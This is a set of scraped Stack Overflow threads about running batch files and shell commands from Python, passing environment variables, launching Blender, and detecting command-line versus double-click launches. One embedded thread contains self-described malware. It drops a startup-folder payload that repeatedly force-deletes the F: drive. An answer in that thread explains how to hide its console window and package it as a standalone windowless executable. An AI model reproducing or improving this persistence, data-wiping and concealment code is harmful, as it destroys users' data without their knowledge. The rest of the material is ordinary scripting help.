running a bat file though python in current process - python

I am attempting to build a large system through a python script. I first need to set up the environment for Visual Studio. Having problems I decided to see if I could just set up and launch Visual Studio. I first set several environment variables and then call C:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\vcvarsall.bat x64.
Once this finishes I call devenv /useenv. If I do these from the command prompt everything works fine and I can do what I need to do in VS. My python code for doing this is:
import os
vcdir=os.environ['ProgramFiles(x86)']
arch = 'x64'
command = 'CALL "' +vcdir+'\\Microsoft Visual Studio 11.0\\VC\\vcvarsall.bat" '+arch
os.system(command)
command = "CALL devenv /useenv"
os.system(command)
If I run this, the bat file will run and when it tries the devenv command I get that it is not recognized. It looks like to bat file runs in a different subprocess than the one that the script is running in. I really need to get this running in my current process. My eventual goal is to do the entire build inside the python script and there will be many calls to devenv to do a major portion of the build.
Thank you.

I had the exact same problem as you. I was trying to run vcvarsall.bat as part of a build script written in python and I needed the environment created by vcvarsall. I found a way to do it. First create a wrapper script called setup_environment.bat:
call "C:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\vcvarsall.bat" amd64
set > environment.txt
Then in your python script where you would have called vcvarsall.bat, run the wrapper script, then read the environment variables from the text file into your current environment:
this_dir = os.path.dirname(os.path.realpath(__file__)) # path of the currently executing script
os.system('call ' + this_dir + '\setup_environment.bat') # run the wrapper script, creates environment.txt
f = open('environment.txt','r')
lines = f.read().splitlines()
f.close()
os.remove('environment.txt')
for line in lines:
pair = line.split('=',1)
os.environ[pair[0]] = pair[1]

Here is a simple example, should work out of box:
import os
import platform
def init_vsvars():
vswhere_path = r"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe"
vswhere_path = os.path.expandvars(vswhere_path)
if not os.path.exists(vswhere_path):
raise EnvironmentError("vswhere.exe not found at: %s", vswhere_path)
vs_path = os.popen('"{}" -latest -property installationPath'.format(vswhere_path)).read().rstrip()
vsvars_path = os.path.join(vs_path, "VC\\Auxiliary\\Build\\vcvars64.bat")
output = os.popen('"{}" && set'.format(vsvars_path)).read()
for line in output.splitlines():
pair = line.split("=", 1)
if(len(pair) >= 2):
os.environ[pair[0]] = pair[1]
if "windows" in platform.system().lower():
init_vsvars()
os.system("where cl.exe")
Please note that environment variables don't have effect after python script exits.

What you are trying to do won't work. vcvarsall.bat sets environment variables, which only work inside a particular process. And there is no way for a Python process to run a CMD.exe process within the same process space.
I have several solutions for you.
One is to run vcvarsall.bat, then figure out all the environment variables it sets and make Python set them for you. You can use the command set > file.txt to save all the environment variables from a CMD shell, then write Python code to parse this file and set the environment variables. Probably too much work.
The other is to make a batch file that runs vcvarsall.bat, and then fires up a new Python interpreter from inside that batch file. The new Python interpreter will be in a new process, but it will be a child process under the CMD.exe process, and it will inherit all the environment variables.
Or, hmm. Maybe the best thing is just to write a batch file that runs vcvarsall.bat and then runs the devenv command. Yeah, that's probably simplest, and simple is good.
The important thing to note is that in the Windows batch file language (and DOS batch file before it), when you execute another batch file, variables set by the other batch file are set in the same environment. In *NIX you need to use a special command source to run a shell script in the same environment, but in batch that's just how it works. But you will never get variables to persist after a process has terminated.

Building on the answer by #derekswanson08 I came up with this which is a bit more fully-fledged. Uses wvwhere.exe which comes with VS 2017.
def init_vsvars():
cprint("")
cprint_header("Initializing vs vars")
if "cygwin" in platform.system().lower():
vswhere_path = "${ProgramFiles(x86)}/Microsoft Visual Studio/Installer/vswhere.exe"
else:
vswhere_path = r"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe"
vswhere_path = path.expandvars(vswhere_path)
if not path.exists(vswhere_path):
raise EnvironmentError("vswhere.exe not found at: %s", vswhere_path)
vs_path = common.run_process(".", vswhere_path,
["-latest", "-property", "installationPath"])
vs_path = vs_path.rstrip()
vsvars_path = os.path.join(vs_path, "VC/Auxiliary/Build/vcvars64.bat")
env_bat_file_path = "setup_build_environment_temp.bat"
env_txt_file_path = "build_environment_temp.txt"
with open(env_bat_file_path, "w") as env_bat_file:
env_bat_file.write('call "%s"\n' % vsvars_path)
env_bat_file.write("set > %s\n" % env_txt_file_path)
os.system(env_bat_file_path)
with open(env_txt_file_path, "r") as env_txt_file:
lines = env_txt_file.read().splitlines()
os.remove(env_bat_file_path)
os.remove(env_txt_file_path)
for line in lines:
pair = line.split("=", 1)
os.environ[pair[0]] = pair[1]

What you should be using is a module in the standard library called subprocess
I have linked you to an example in the standard library here.
Here is an example with your situation.
import shlex, subprocess
args = shlex.split(your_command)
p = subprocess.Popen(args)
That should execute it also return stderr if you need to know what happened with the call. your command might even be a third bat file that encompasses the two bat files so you get all the environment variables.

Another solution is to call vcvarsall.bat within the same os.system than the build command:
os.system("cd " + vcFolder + " & vcvarsall.bat amd64 & cd " + buildFolder + " & make")

Related

Setting CWDir as a variable for MS-Dos environment

Can someone help me with this please?
I am trying to compile a program in this case programmed in python that I can run in win9Xdos, that I can call/start from a 9xDos batchfile, that will find the Current working Dir & by that I mean identify the cwd (current working directory) from where the python program and batchfile are executed. The python program will be called getcwd.py which I am hoping someone will outline what I need to do to convert to EXE/COM file. there is a program called Py2EXE but not sure if this will compile for Ms-dos file. Anyways heres my simple code thus far. Can someone tell me if I am on the right track please? Oh by the way what I am trying to do is find the CWD & inject the resultant path into a variable that can be read from 9Xdos. The current Var would be %cwd%
# importing os module
import os
# some websites say use: del cwd (to remove variable if it exists)
cwd = none
cwd = os.getcwd()
print(cwd)
The print line may need interchanging with code below, not sure help needed:
print(type(path))
# <class 'str'>
would the above code work, say in the root e.g. C:\ with & work in obtaining the CWD variable & if correct how would I proceed to compile it to an exe/com file? do I need to take into account LFN's & Spaces between possible paths e.g C:\Program Files & possible backslashes etc?
Your code isn't perfect but it is on the right track. All you need is this:
import os
if __name__ == '__main__':
print(os.getcwd())
There is no need for an auxiliary variable, and I don't know what websites are recommending that you delete the variable before creating it. Trying to delete a nonexistent Python variable is a runtime error. So I would stay away from those websites.
But your question is about setting an environment variable. Calling print() won't do that. All it will do is echo the current working directory to the console. There is no way to change the environment of a running process that will affect the parent process. This is not a Python restriction nor a Windows restriction: it is quite general. The OS sets up the environment of the process when it creates the process. You can make changes to the environment (using os.environ[env-var]) but those changes will only be visible inside that Python process and will not be visible to the environment of the batch file that runs the Python program. To do that, you need to pass the value back to the calling process.
One way to do that is like this:
In Python:
import os
if __name__ == '__main__':
print(f"set CWDIR={os.getcwd()}", file=open("mycd.bat","w"))
I haven't had a Python 1.5.2 environment for 15 years, so I can't test this, but I think the equivalent would have been
if __name__ == '__main__':
print >> open("mycd.bat","w"), "set CWDIR=%s" % (os.getcwd(),)
In a cmd.exe console:
call mycd.bat
Though if your Win9XDos doesn't provide %cd% (which, as far as I recall, was available in MS-DOS 5, or maybe further back still) there is no way of telling if it supports call either. (Are you maybe running command.com instead of cmd.exe? That would explain why things that should be there are missing).
I used pyinstaller to create a 64-bit .exe and that resulted in a file of about 6MB. Now, 32-bit executables are smaller, but it might be that the resulting executable is still too big to load.
So I think the Python route may turn out to be more trouble than it is worth.

Creating an executable python script, with OS commands, to start Blender and run another script

I need a little help creating an executable python OS command for Blender (Windows and Mac). I am setting up a stand-alone blender package for a client to use. I have a python script that imports some data and I want to create an executable python script that runs OS commands to run Blender, run the python script and define the data directories.
This is a generic version of the Windows command I normally run to import the data, using the stand-alone version of Blender:
"C:\Users\username\Desktop\Package\system\blender\blender.exe" "C:\Users\username\Desktop\Package\system\version_data\CurrentVersion.blend" -P "C:\Users\username\Desktop\Package\system\version_data\BlenderScript.py" "C:\Users\username\Desktop\Package\input_data\\" -y
From my research I have worked out that I need to:
import os
make the directories in the command relative
create an executable python file
My python experience is limited, but I believe it may be something like this:
import os
pythonDirectory = os.path.dirname(os.path.abspath(RunThisApp.exe)) # get the current dir of this file (which would be: C:\Users\username\Desktop\Package\)
os.path.join(pathDirectory, "//system\blender\blender.exe" "//system\version_data\CurrentVersion.blend" -P "//system\version_data\BlenderScript.py" "//input_data\\" -y)
However I had a look at this post and was a little fuzzy as to the best way to do this:
Calling an external command in Python
Then I could possibly use PyInstaller to create the python executable files. Which seems to be the simplest method suggested here:
How to make a Python script standalone executable to run without ANY dependency?
http://www.pyinstaller.org/
Am I close to the correct result here? I am guessing my syntax is off. I need to make sure it works for both Windows and Mac.
It should also be noted that the separate python script I run to import data into blender (which I have been using and updating for a couple of years), refers to OS arguments to get the desired path of data to import, so I need to make sure that I maintain that connection. Here is an example:
IMPORT_DATA_FILENAME = sys.argv[4]+'data.txt'
Any advice or input would be greatly appreciated.
Chris Lee
It looks like you have all the files and binaries you want to use included in one folder that you are sharing. If you place the initial script at the top of that directory you should be able to get it's location from argv[0] and calculate the location of the other files you want from that, which should allow the user to move your package folder anywhere they want.
You can use platform.system() to add any system specific variations to the paths.
#!/usr/bin/env python3
import os
from sys import argv
from platform import system
from subprocess import call
# define the package dir as the dir that this script is in
pkg_dir = os.path.abspath(os.path.dirname(argv[0]))
# use a package dir in the users home folder
#pkg_dir = os.path.join(os.path.expanduser('~'), 'Package')
# use a package dir in the users desktop folder
#pkg_dir = os.path.join(os.path.expanduser('~'), 'Desktop', 'Package')
sys_dir = os.path.join(pkg_dir, system())
vers_dir = os.path.join(pkg_dir,'version_data')
blend = os.path.join(vers_dir, 'CurrentVersion.blend')
script = os.path.join(vers_dir, 'BlenderScript.py')
if system() == 'Windows':
blender_exe = os.path.join(sys_dir, 'blender', 'blender.exe')
elif system() == 'Darwin':
blender_exe = os.path.join(sys_dir, 'blender', 'blender.app',
'Contents', 'MacOS', 'blender')
else:
# linux?
blender_exe = os.path.join(sys_dir, 'blender', 'blender')
calllist = [
blender_exe,
blend,
'--python',
script,
]
call(calllist)
Using Sambler's solution I have modified it slightly to got the following solution:
import os
from sys import argv
from platform import system
from subprocess import call
# define the package dir as the dir that this script is in
pkg_dir = os.path.abspath(os.path.dirname(argv[0]))
sys_dir = os.path.join(pkg_dir, 'private_sys', system())
vers_dir = os.path.join(pkg_dir, 'private_sys', '#version_data')
blend = os.path.join(vers_dir, 'CurrentVersion.blend')
script = os.path.join(vers_dir, 'BlenderScript.py')
input = os.path.join(pkg_dir, 'input_data')
if system() == 'Windows':
blender_exe = os.path.join(sys_dir, 'blender', 'blender.exe')
elif system() == 'Darwin':
blender_exe = os.path.join(sys_dir, 'blender', 'blender.app', 'Contents', 'MacOS', 'blender')
calllist = [
blender_exe,
blend,
'--python',
script,
input,
]
call(calllist)
To clarify, within the Package directory the folder structure is as follows:
+---input_data
\---data.txt
\---input.blend
\---private_sys
+---#version_data
\---BlenderScript.py
\---CurrentVersion.blend
+---Darwin
| \---blender
\---Windows
\---blender
Apart from removing the Linux and other suggested variations, I added an input directory. The BlenderScript.py that is called refers to the data.txt and the input.blend files and imports them into the CurrentVersion.blend file. I also moved the version data into a separate directory from the OS specific blender directories and inside the private_sys directory, so that the user doesn't have to see those files.
The last hurdle was lines like this inside BlenderScript.py:
IMPORT_DATA_FILENAME = sys.argv[4]+'data.txt'
The problem was that I was getting an error because the script would end up looking for: "\input_datadata.txt".
I fixed this by changing it to:
IMPORT_DATA_FILENAME = sys.argv[4]+'/data.txt'
Which returns: "\input_data/data.txt". I am assuming this will have the same result in OSX.
Thank you very much for your help. This is an area I am learning more in all the time, as the work I do for the client is far more complicated than 'past me' could have imagined. 'Future me' is going to be very pleased with himself when all this is done.

Execute python script on startup in the background

I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.

python execute system commands (windows)

So I have this uber script which constantly checks the system path for a program (openvpn). When you install openvpn it adds itself to the system path. I run my script in the console and, while it runs and checks, I install openvpn. In that console my script will never find openvpn in sys path. If I open a new console and run the same script it finds it.
Any idea how I can make my script a little less dumb?
import os
import time
import subprocess
def cmd( command ):
return subprocess.check_output( command, shell = True )
def program_in_path( program ):
path = cmd( "path" ).split(";")
for p in path:
if "openvpn" in p.lower():
return True
return False
if __name__ == '__main__':
while True:
print program_in_path("openvpn")
time.sleep( 2 )
I presume it's from the shell = True thing but how else would I find it if not with path or WHERE openvpn /Q ? Running with no sehll I get WindowsError: [Error 2] The system cannot find the file specified
Here's slightly the same program done in ruby which works 100%:
loop do
puts system( "WHERE openvpn /Q" )
sleep( 5 )
end
Unfortunately my project is too deep into python to switch languages now. Too bad.
It's actually because when your program starts, it has an environment configured. Part of that environment is the system path. When you start a subshell, it inherits the environment of the parent process.
I'm not a Windows programmer, and I don't have a Windows machine available to test on right now. But according to that bug report, if you import nt in your script and reload(nt) in your while True loop that it will pull down a fresh copy of the environment from the system. I don't know whether that's true or not. It might be worth a try.
For what it's worth, you can see the same behavior from the cmd window by, for instance, opening a command window, adding a program folder to the System Path, and then trying to run an exe from that program folder in your existing cmd window. It won't work -- but open a new cmd window, and it will.
The bug report you cite is about a different problem. That problem outlined there is that from within Python, if you load in one of the system DLLs and use a particular function Windows provides for manipulating your environment, Python does not reflect the change. However, if you make a change to os.environ, Python recognizes that change. The conclusion from the community was that the particular function that the reporter was using, was not the correct function to use to get the results he expected.
Perhaps this approach works for you, getting the PATH variable straight from the registry (since you're on Windows).
For instance you could do something like this:
import winreg
def PathFromReg():
loc = r'SYSTEM\CurrentControlSet\Control\Session Manager\Environment'
reg = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)
key = winreg.OpenKey(reg, loc)
n_val = winreg.QueryInfoKey(key)[1]
for i in range(n_val):
val = winreg.EnumValue(key, i)
if val[0] == 'Path':
return val[1]
path = PathFromReg()
print('openvpn' in path.lower())
I think you only need to assign the key once and then query the values inside the loop.
Note: In Python 2 the module is called _winreg.

How to determine if Python script was run via command line?

Background
I would like my Python script to pause before exiting using something similar to:
raw_input("Press enter to close.")
but only if it is NOT run via command line. Command line programs shouldn't behave this way.
Question
Is there a way to determine if my Python script was invoked from the command line:
$ python myscript.py
verses double-clicking myscript.py to open it with the default interpreter in the OS?
If you're running it without a terminal, as when you click on "Run" in Nautilus, you can just check if it's attached to a tty:
import sys
if sys.stdin and sys.stdin.isatty():
# running interactively
print("running interactively")
else:
with open('output','w') as f:
f.write("running in the background!\n")
But, as ThomasK points out, you seem to be referring to running it in a terminal that closes just after the program finishes. I think there's no way to do what you want without a workaround; the program is running in a regular shell and attached to a terminal. The decision of exiting immediately is done just after it finishes with information it doesn't have readily available (the parameters passed to the executing shell or terminal).
You could go about examining the parent process information and detecting differences between the two kinds of invocations, but it's probably not worth it in most cases. Have you considered adding a command line parameter to your script (think --interactive)?
What I wanted was answered here: Determine if the program is called from a script in Python
You can just determine between "python" and "bash". This was already answered I think, but you can keep it short as well.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import psutil
import os
ppid = os.getppid() # Get parent process id
print(psutil.Process(ppid).name())
I don't think there's any reliable way to detect this (especially in a cross-platform manner). For example on OS X, when you double-click a .py file and it tuns with "Python Launcher", it runs in a terminal, identically to if you execute it manually.
Although it may have other issues, you could package the script up with something like py2exe or Platypus, then you can have the double-clickable icon run a specific bit of code to differentiate (import mycode; mycode.main(gui = True) for example)
If you run python IDLE then "pythonw.exe" is being used to run coding while when you run the command line "python.exe" is used to run coding. The python folder path can vary so you have to revert the path to the python folder. m = '\\' and m = m[0] is to get m to be '\' because of escaping.
import sys
a = sys.executable
m = '\\'
m = m[0]
while True:
b = len(a)
c = a[(b - 1)]
if c == m:
break
a = a[:(b - 1)]
if sys.executable == a + 'pythonw.exe':
print('Running in Python IDLE')
else:
print('Running in Command line')
Update for later versions (e.g. Python 3.6 on Ubuntu 16.04): The statement to get the name has changed to psutil.Process(os.getpid()).parent().name()
I believe this CAN be done. At least, here is how I got it working in Python 2.7 under Ubuntu 14.04:
#!/usr/bin/env python
import os, psutil
# do stuff here
if psutil.Process(os.getpid()).parent.name == 'gnome-terminal':
raw_input("Press enter to close...")
Note that -- in Ubuntu 14 with the Gnome desktop (aka Nautilus) -- you might need to do this:
from a Nautilus window (the file browser), select Edit(menu)->Preferences(item) then Behavior(tab)->Executable Text Files(section)->Ask Each Time(radio).
chmod your script to be executable, or -- from a Nautilus window (the file browser) -- right click on the file->Properties(item) then Permissions(tab)->Execute:Allow executing file as program(checkbox)
double-click your file. If you select "Run in Terminal", you should see the "Type enter to close..." prompt.
now try from a bash prompt; you should NOT see the prompt.
To see how this works, you can fiddle with this (based on the answer by from #EduardoIvanec):
#!/usr/bin/env python
import os
import sys
import psutil
def parent_list(proc=None, indent=0):
if not proc:
proc = psutil.Process(os.getpid())
pid = proc.pid
name = proc.name
pad = " " * indent
s = "{0}{1:5d} {2:s}".format(pad, pid, name)
parent = proc.parent
if parent:
s += "\n" + parent_list(parent, indent+1)
return s
def invoked_from_bash_cmdline():
return psutil.Process(os.getpid()).parent.name == "bash"
def invoked_as_run_in_terminal():
return psutil.Process(os.getpid()).parent.name == "gnome-terminal"
def invoked_as_run():
return psutil.Process(os.getpid()).parent.name == "init"
if sys.stdin.isatty():
print "running interactively"
print parent_list()
if invoked_as_run_in_terminal():
raw_input("Type enter to close...")
else:
with open('output','w') as f:
f.write("running in the background!\n")
f.write("parent list:\n")
f.write(parent_list())
From the idea behind this answer, adding for Win10 compatibility (Ripped from Python 2.7 script; modify as needed):
import os, psutil
status = 1
if __name__ =="__main__":
status = MainFunc(args)
args = sys.argv
running_windowed = False
running_from = psutil.Process(os.getpid()).parent().name()
if running_from == 'explorer.exe':
args.append([DEFAULT OR DOUBLE CLICK ARGS HERE])
running_windowed = True
if running_windowed:
print('Completed. Exit status of {}'.format(status))
ready = raw_input('Press Enter To Close')
sys.exit(status)
There is a number of switch like statements you could add to be more universal or handle different defaults.
This is typically done manually/, I don't think there is an automatic way to do it that works for every case.
You should add a --pause argument to your script that does the prompt for a key at the end.
When the script is invoked from a command line by hand, then the user can add --pause if desired, but by default there won't be any wait.
When the script is launched from an icon, the arguments in the icon should include the --pause, so that there is a wait. Unfortunately you will need to either document the use of this option so that the user knows that it needs to be added when creating an icon, or else, provide an icon creation function in your script that works for your target OS.
My solution was to create command line scripts using setuptools. Here are a the relevant parts of myScript.py:
def main(pause_on_error=False):
if run():
print("we're good!")
else:
print("an error occurred!")
if pause_on_error:
raw_input("\nPress Enter to close.")
sys.exit(1)
def run():
pass # run the program here
return False # or True if program runs successfully
if __name__ == '__main__':
main(pause_on_error=True)
And the relevant parts of setup.py:
setup(
entry_points={
'console_scripts': [
'myScript = main:main',
]
},
)
Now if I open myScript.py with the Python interpreter (on Windows), the console window waits for the user to press enter if an error occurs. On the command line, if I run 'myScript', the program will never wait for user input before closing.
Although this isn't a very good solution, it does work (in windows at least).
You could create a batch file with the following contents:
#echo off
for %%x in (%cmdcmdline%) do if /i "%%~x"=="/c" set DOUBLECLICKED=1
start <location of python script>
if defined DOUBLECLICKED pause
If you want to be able to do this with a single file, you could try the following:
#echo off
setlocal EnableDelayedExpansion
set LF=^
:: The 2 empty lines are necessary
for %%x in (%cmdcmdline%) do if /i "%%~x"=="/c" set DOUBLECLICKED=1
echo print("first line of python script") %LF% print("second and so on") > %temp%/pyscript.py
start /wait console_title pyscript.py
del %temp%/pyscript.py
if defined DOUBLECLICKED pause
Batch code from: Pausing a batch file when double-clicked but not when run from a console window?
Multi-line in batch from: DOS: Working with multi-line strings
Okay, the easiest way I found and made was to simply run the program in the command line, even if it was ran in the Python IDLE.
exist = lambda x: os.path.exists(x) ## Doesn't matter
if __name__ == '__main__':
fname = "SomeRandomFileName" ## Random default file name
if exist(fname)==False: ## exist() is a pre-defined lambda function
jot(fname) ## jot() is a function that creates a blank file
os.system('start YourProgram.py') ## << Insert your program name here
os.system('exit'); sys.exit() ## Exits current shell (Either IDLE or CMD)
os.system('color a') ## Makes it look cool! :p
main() ## Runs your code
os.system("del %s" % fname) ## Deletes file name for next time
Add this to the bottom of your script and once ran from either IDLE or Command Prompt, it will create a file, re-run the program in the CMD, and exits the first instance.
Hope that helps! :)
I also had that question and, for me, the best solution is to set an environment variable in my IDE (PyCharm) and check if that variable exists to know if the script is being executed either via the command line or via the IDE.
To set an environment variable in PyCharm check:
How to set environment variables in PyCharm?
Example code (environment variable: RUNNING_PYCHARM = True):
import os
# The script is being executed via the command line
if not("RUNNING_PYCHARM" in os.environ):
raw_input("Press enter to close.")
I hope it works for you.
Based on existing solutions and using sets:
import psutil
def running_interactively():
"""Return True if any of our parent processes is a known shell."""
shells = {"cmd.exe", "bash.exe", "powershell.exe", "WindowsTerminal.exe"}
parent_names = {parent.name() for parent in psutil.Process().parents()}
# print(parent_names)
# print(f"Shell in parents? {shells & parent_names}")
return bool(shells & parent_names)
if not running_interactively():
input("\nPress ENTER to continue.")
This answer is currently specific to Windows, but it can be reconfigured to work with other operating systems in theory. Rather than installing psutil module like most of these answers recommend, you can make use of the subprocess module and the Windows tasklist command to explicitly get the name of the parent process of your Python program.
import os
import subprocess
shells = {"bash.exe", "cmd.exe", "powershell.exe", "WindowsTerminal.exe"}
# These are standard examples, but it can also be used to detect:
# - Nested python.exe processes (IDLE, etc.)
# - IDEs used to develop your program (IPython, Eclipse, PyCharm, etc.)
# - Other operating system dependent shells
s = subprocess.check_output(["tasklist", "/v", "/fo", "csv", "/nh", "/fi", f"PID eq {os.getppid()}"])
# Execute tasklist command to get the verbose info without the header (/nh) of a single process in CSV format (/fo csv)
# Such that its PID is equal to os.getppid()
entry = s.decode("utf-8").strip().strip('"').split('","')
# Decode from bytes to str, remove end whitespace and quotations from CSV format
# And split along the quote delimited commas
# This process may differ and require adjustment when used for an OS other than Windows
condition = entry and entry[0] in shells
# Check first that entry is not an empty sequence, meaning the process has already ended
# If it still exists, check if the first element -- the executable -- exists as an element of the set of executables you're looking for
I hope this is helpful for anyone looking for an answer to this problem while minimizing the number of dependencies you'd need.
This was tested in Python 3.8 and uses an f-string in the subprocess.check_output line of the code, so please be sure to convert the f-string to a compatible syntax if you're working with a version of Python before f-strings were introduced.

Categories